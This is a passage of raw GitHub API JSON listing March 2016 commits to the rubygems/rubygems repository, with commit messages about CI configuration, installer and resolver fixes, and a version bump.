repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"ec217a56d24d0ecbf4b1d3a180d4bfdcf5f82d12","url":"https://api.github.com/repos/rubygems/rubygems/commits/ec217a56d24d0ecbf4b1d3a180d4bfdcf5f82d12","html_url":"https://github.com/rubygems/rubygems/commit/ec217a56d24d0ecbf4b1d3a180d4bfdcf5f82d12"}]},{"sha":"fc61bfeb10e61f808d411113956d386efc0564a8","node_id":"MDY6Q29tbWl0NjE0MDcwOmZjNjFiZmViMTBlNjFmODA4ZDQxMTExMzk1NmQzODZlZmMwNTY0YTg=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-29T01:55:36Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-29T01:55:36Z"},"message":"[Owner] Fallback to email and userid when owner email is missing","tree":{"sha":"a972cee499744b65d858655a6c87bad557a53ed0","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/a972cee499744b65d858655a6c87bad557a53ed0"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/fc61bfeb10e61f808d411113956d386efc0564a8","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/fc61bfeb10e61f808d411113956d386efc0564a8","html_url":"https://github.com/rubygems/rubygems/commit/fc61bfeb10e61f808d411113956d386efc0564a8","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/fc61bfeb10e61f808d411113956d386efc0564a8/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"df6620b1af0d957f44703bbd56620188d8692faa","url":"https://api.github.com/repos/rubygems/rubygems/commits/df6620b1af0d957f44703bbd56620188d8692faa","html_url":"https://github.com/rubygems/rubygems/commit/df6620b1af0d957f44703bbd56620188d8692faa"}]},{"sha":"e5b2bd71a652e828e7a288c1de4658f4e1981531","node_id":"MDY6Q29tbWl0NjE0MDcwOmU1YjJiZDcxYTY1MmU4MjhlN2EyODhjMWRlNDY1OGY0ZTE5ODE1MzE=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-22T13:15:38Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-22T13:15:38Z"},"message":"[RubyGems] Make deprecation message for paths= more helpful","tree":{"sha":"a587c234ef2618ec8995c6d40a47d5a3b5f0dcac","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/a587c234ef2618ec8995c6d40a47d5a3b5f0dcac"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/e5b2bd71a652e828e7a288c1de4658f4e1981531","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/e5b2bd71a652e828e7a288c1de4658f4e1981531","html_url":"https://github.com/rubygems/rubygems/commit/e5b2bd71a652e828e7a288c1de4658f4e1981531","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/e5b2bd71a652e828e7a288c1de4658f4e1981531/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"708d9d83f6894b3ac30a02b4c976c6c7899d97ce","url":"https://api.github.com/repos/rubygems/rubygems/commits/708d9d83f6894b3ac30a02b4c976c6c7899d97ce","html_url":"https://github.com/rubygems/rubygems/commit/708d9d83f6894b3ac30a02b4c976c6c7899d97ce"}]},{"sha":"089a89316ec416632e6a07ffe3567fda6ee6e0f2","node_id":"MDY6Q29tbWl0NjE0MDcwOjA4OWE4OTMxNmVjNDE2NjMyZTZhMDdmZmUzNTY3ZmRhNmVlNmUwZjI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-22T13:08:48Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-22T13:08:48Z"},"message":"[Installer] Handle nil existing executable","tree":{"sha":"867bbc211821d6f50f07a4fec5cfdba0407458d1","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/867bbc211821d6f50f07a4fec5cfdba0407458d1"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/089a89316ec416632e6a07ffe3567fda6ee6e0f2","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/089a89316ec416632e6a07ffe3567fda6ee6e0f2","html_url":"https://github.com/rubygems/rubygems/commit/089a89316ec416632e6a07ffe3567fda6ee6e0f2","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/089a89316ec416632e6a07ffe3567fda6ee6e0f2/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"708d9d83f6894b3ac30a02b4c976c6c7899d97ce","url":"https://api.github.com/repos/rubygems/rubygems/commits/708d9d83f6894b3ac30a02b4c976c6c7899d97ce","html_url":"https://github.com/rubygems/rubygems/commit/708d9d83f6894b3ac30a02b4c976c6c7899d97ce"}]},{"sha":"f754a1a5ed187f410538c103351c9ca0a7d3469b","node_id":"MDY6Q29tbWl0NjE0MDcwOmY3NTRhMWE1ZWQxODdmNDEwNTM4YzEwMzM1MWM5Y2EwYTdkMzQ2OWI=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-12T23:55:14Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-12T23:55:14Z"},"message":"Version 2.6.2 with updated history","tree":{"sha":"6fab840ab2c46adc6a19954a67f2a2c47f13ec37","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/6fab840ab2c46adc6a19954a67f2a2c47f13ec37"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/f754a1a5ed187f410538c103351c9ca0a7d3469b","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/f754a1a5ed187f410538c103351c9ca0a7d3469b","html_url":"https://github.com/rubygems/rubygems/commit/f754a1a5ed187f410538c103351c9ca0a7d3469b","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/f754a1a5ed187f410538c103351c9ca0a7d3469b/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"6eb4a8123da25ff98e8ed6368b0311bc97a96300","url":"https://api.github.com/repos/rubygems/rubygems/commits/6eb4a8123da25ff98e8ed6368b0311bc97a96300","html_url":"https://github.com/rubygems/rubygems/commit/6eb4a8123da25ff98e8ed6368b0311bc97a96300"}]},{"sha":"bc9664a4513516225456cd79d00cad24f354d076","node_id":"MDY6Q29tbWl0NjE0MDcwOmJjOTY2NGE0NTEzNTE2MjI1NDU2Y2Q3OWQwMGNhZDI0ZjM1NGQwNzY=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-11T20:03:12Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-11T20:03:12Z"},"message":"[Appveyor] Update to match Travis config","tree":{"sha":"242ac3cbc5c67aa0911d21cd7f94d51472644372","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/242ac3cbc5c67aa0911d21cd7f94d51472644372"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/bc9664a4513516225456cd79d00cad24f354d076","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/bc9664a4513516225456cd79d00cad24f354d076","html_url":"https://github.com/rubygems/rubygems/commit/bc9664a4513516225456cd79d00cad24f354d076","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/bc9664a4513516225456cd79d00cad24f354d076/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"3ec95f0eef2aa0d8b27260405a5e7661bb7e6769","url":"https://api.github.com/repos/rubygems/rubygems/commits/3ec95f0eef2aa0d8b27260405a5e7661bb7e6769","html_url":"https://github.com/rubygems/rubygems/commit/3ec95f0eef2aa0d8b27260405a5e7661bb7e6769"}]},{"sha":"3ec95f0eef2aa0d8b27260405a5e7661bb7e6769","node_id":"MDY6Q29tbWl0NjE0MDcwOjNlYzk1ZjBlZWYyYWEwZDhiMjcyNjA0MDVhNWU3NjYxYmI3ZTY3Njk=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-11T19:20:43Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-11T19:45:59Z"},"message":"[Travis] Install rake 10.x","tree":{"sha":"d5a650e7e4291484c9ae58ebbb01a6d268c6f96f","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/d5a650e7e4291484c9ae58ebbb01a6d268c6f96f"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/3ec95f0eef2aa0d8b27260405a5e7661bb7e6769","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/3ec95f0eef2aa0d8b27260405a5e7661bb7e6769","html_url":"https://github.com/rubygems/rubygems/commit/3ec95f0eef2aa0d8b27260405a5e7661bb7e6769","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/3ec95f0eef2aa0d8b27260405a5e7661bb7e6769/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"b0e0d5986064a1cc9ef2bfd4127b1bbce4f8f3b1","url":"https://api.github.com/repos/rubygems/rubygems/commits/b0e0d5986064a1cc9ef2bfd4127b1bbce4f8f3b1","html_url":"https://github.com/rubygems/rubygems/commit/b0e0d5986064a1cc9ef2bfd4127b1bbce4f8f3b1"}]},{"sha":"b0e0d5986064a1cc9ef2bfd4127b1bbce4f8f3b1","node_id":"MDY6Q29tbWl0NjE0MDcwOmIwZTBkNTk4NjA2NGExY2M5ZWYyYmZkNDEyN2IxYmJjZTRmOGYzYjE=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-11T19:13:44Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-11T19:13:44Z"},"message":"[Travis] Also build auto","tree":{"sha":"cba82d1962d7bf93d793bcf826fb002473d9ba25","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/cba82d1962d7bf93d793bcf826fb002473d9ba25"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/b0e0d5986064a1cc9ef2bfd4127b1bbce4f8f3b1","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/b0e0d5986064a1cc9ef2bfd4127b1bbce4f8f3b1","html_url":"https://github.com/rubygems/rubygems/commit/b0e0d5986064a1cc9ef2bfd4127b1bbce4f8f3b1","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/b0e0d5986064a1cc9ef2bfd4127b1bbce4f8f3b1/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"e4f0cc82e7fd8126cbfe3e438eb6c69aca2c72c5","url":"https://api.github.com/repos/rubygems/rubygems/commits/e4f0cc82e7fd8126cbfe3e438eb6c69aca2c72c5","html_url":"https://github.com/rubygems/rubygems/commit/e4f0cc82e7fd8126cbfe3e438eb6c69aca2c72c5"}]},{"sha":"e4f0cc82e7fd8126cbfe3e438eb6c69aca2c72c5","node_id":"MDY6Q29tbWl0NjE0MDcwOmU0ZjBjYzgyZTdmZDgxMjZjYmZlM2U0MzhlYjZjNjlhY2EyYzcyYzU=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-11T19:13:28Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-11T19:13:28Z"},"message":"[Rakefile] Remove dependency on the Hoe minitest plugin","tree":{"sha":"000e7abefb7b58c2324c12e0cbb7e02eeb95b581","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/000e7abefb7b58c2324c12e0cbb7e02eeb95b581"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/e4f0cc82e7fd8126cbfe3e438eb6c69aca2c72c5","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/e4f0cc82e7fd8126cbfe3e438eb6c69aca2c72c5","html_url":"https://github.com/rubygems/rubygems/commit/e4f0cc82e7fd8126cbfe3e438eb6c69aca2c72c5","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/e4f0cc82e7fd8126cbfe3e438eb6c69aca2c72c5/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"89d9fd272bfd2f4190aa1e7eac0be4de2d883dba","url":"https://api.github.com/repos/rubygems/rubygems/commits/89d9fd272bfd2f4190aa1e7eac0be4de2d883dba","html_url":"https://github.com/rubygems/rubygems/commit/89d9fd272bfd2f4190aa1e7eac0be4de2d883dba"}]},{"sha":"877e6187e2fb381efab5422b8e172a0dadb26553","node_id":"MDY6Q29tbWl0NjE0MDcwOjg3N2U2MTg3ZTJmYjM4MWVmYWI1NDIyYjhlMTcyYTBkYWRiMjY1NTM=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-09T03:18:39Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-09T03:18:39Z"},"message":"Add a spec for partial platform matches being preferred","tree":{"sha":"7eed74084354b87ac8821231a27622a590cc72b7","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/7eed74084354b87ac8821231a27622a590cc72b7"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/877e6187e2fb381efab5422b8e172a0dadb26553","comment_count":0,"verification":{"verified":false,"reason":"unsigned","signature":null,"payload":null}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/877e6187e2fb381efab5422b8e172a0dadb26553","html_url":"https://github.com/rubygems/rubygems/commit/877e6187e2fb381efab5422b8e172a0dadb26553","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/877e6187e2fb381efab5422b8e172a0dadb26553/comments","author":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"committer":{"login":"segiddins","id":1946610,"node_id":"MDQ6VXNlcjE5NDY2MTA=","avatar_url":"https://avatars1.githubusercontent.com/u/1946610?v=4","gravatar_id":"","url":"https://api.github.com/users/segiddins","html_url":"https://github.com/segiddins","followers_url":"https://api.github.com/users/segiddins/followers","following_url":"https://api.github.com/users/segiddins/following{/other_user}","gists_url":"https://api.github.com/users/segiddins/gists{/gist_id}","starred_url":"https://api.github.com/users/segiddins/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/segiddins/subscriptions","organizations_url":"https://api.github.com/users/segiddins/orgs","repos_url":"https://api.github.com/users/segiddins/repos","events_url":"https://api.github.com/users/segiddins/events{/privacy}","received_events_url":"https://api.github.com/users/segiddins/received_events","type":"User","site_admin":false},"parents":[{"sha":"12c38d163772f4d7c6df9354adb15a69c811731d","url":"https://api.github.com/repos/rubygems/rubygems/commits/12c38d163772f4d7c6df9354adb15a69c811731d","html_url":"https://github.com/rubygems/rubygems/commit/12c38d163772f4d7c6df9354adb15a69c811731d"}]},{"sha":"12c38d163772f4d7c6df9354adb15a69c811731d","node_id":"MDY6Q29tbWl0NjE0MDcwOjEyYzM4ZDE2Mzc3MmY0ZDdjNmRmOTM1NGFkYjE1YTY5YzgxMTczMWQ=","commit":{"author":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-09T03:17:13Z"},"committer":{"name":"Samuel Giddins","email":"segiddins@segiddins.me","date":"2016-03-09T03:17:13Z"},"message":"[Resolver] Resolve undefined variable 